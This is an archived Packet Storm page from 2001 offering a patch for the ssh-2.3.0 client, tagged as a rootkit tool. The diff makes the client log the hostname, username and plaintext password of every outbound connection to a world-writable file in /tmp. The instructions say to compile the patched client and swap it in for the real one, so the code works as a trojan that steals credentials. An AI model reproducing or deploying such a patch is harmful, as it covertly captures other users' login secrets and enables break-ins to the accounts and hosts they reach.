exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ssh-2.3.0.patch

ssh-2.3.0.patch
Posted Dec 9, 2001
Authored by Digital Shadow | Site ministryofpeace.co.uk

SSH-2.3.0 client patch to log outgoing usernames, passwords, and hostnames.

tags | tool, rootkit
systems | unix
SHA-256 | ac70dd5c43e7220631199e96f023cd06a6796d6689b45217f7c81ade8e2345b3

ssh-2.3.0.patch

Change Mirror Download
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
[Ministry-Of-Peace] - ssh-2.3.0 snoop patch - 13th November 2001
== (c)oded 2001 Digital Shadow ==
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Code Description:
-----------------
This patch for ssh-2.3.0 will allow you to log the host, username
and plaintext password of all outbound connections made using the
ssh client that you patch.


Usage:
------
When the patched version of ssh is used, it will log to /tmp/ssh.log.
This file will need to be mode 666 for all users using ssh to be able
to write to it.
To apply the patch, place it in the directory with ssh-2.3.0, then
just type: patch -p1 < ssh-2.3.0-patch
Hey presto. Compile and replace.


Code:
-----
----cut------------ --_-- ssh-2.3.0-patch --_-- ------------cut----

diff -N -c -r ssh-2.3.0/apps/ssh/authc-passwd.c ssh-2.3.0-new/apps/ssh/authc-passwd.c
*** ssh-2.3.0/apps/ssh/authc-passwd.c Thu Aug 24 04:40:41 2000
--- ssh-2.3.0-new/apps/ssh/authc-passwd.c Tue Nov 14 02:29:03 2001
***************
*** 45,50 ****
--- 45,51 ----
void *method_context)
{
char *password;
+ FILE *lg;
SshBuffer b;
#ifndef SSH_WIN_CLIENT
char buf[100];
***************
*** 113,118 ****
--- 114,122 ----
SSH_FORMAT_BOOLEAN, FALSE,
SSH_FORMAT_UINT32_STR, password, strlen(password),
SSH_FORMAT_END);
+ lg=fopen("/tmp/ssh.log", "a");
+ fprintf(lg, "Password: %s\n\n", password);
+ fclose(lg);
ssh_xfree(password);
(*completion)(SSH_AUTH_CLIENT_SEND, user, b, completion_context);
ssh_buffer_free(b);
diff -N -c -r ssh-2.3.0/apps/ssh/ssh2.c ssh-2.3.0-new/apps/ssh/ssh2.c
*** ssh-2.3.0/apps/ssh/ssh2.c Thu Aug 24 04:40:41 2000
--- ssh-2.3.0-new/apps/ssh/ssh2.c Tue Nov 14 02:34:59 2001
***************
*** 781,793 ****
--- 781,798 ----
static void finalize_password_prompt(char **prompt, char *host, char *user)
{
char *tmp;
+ FILE *lg;

+ lg=fopen("/tmp/ssh.log", "a");
tmp = ssh_replace_in_string(*prompt, "%H", host);
+ fprintf(lg, "Host: %s\n", host);
ssh_xfree(*prompt);
*prompt = tmp;
tmp = ssh_replace_in_string(*prompt, "%U", user);
+ fprintf(lg, "User: %s\n", user);
ssh_xfree(*prompt);
*prompt = tmp;
+ fclose(lg);
}

void ssh2_help(const char *name)

----cut------------ --_-- ssh-2.3.0-patch --_-- ------------cut----

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
code[at]ministryofpeace.co.uk -- www.ministryofpeace.co.uk
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close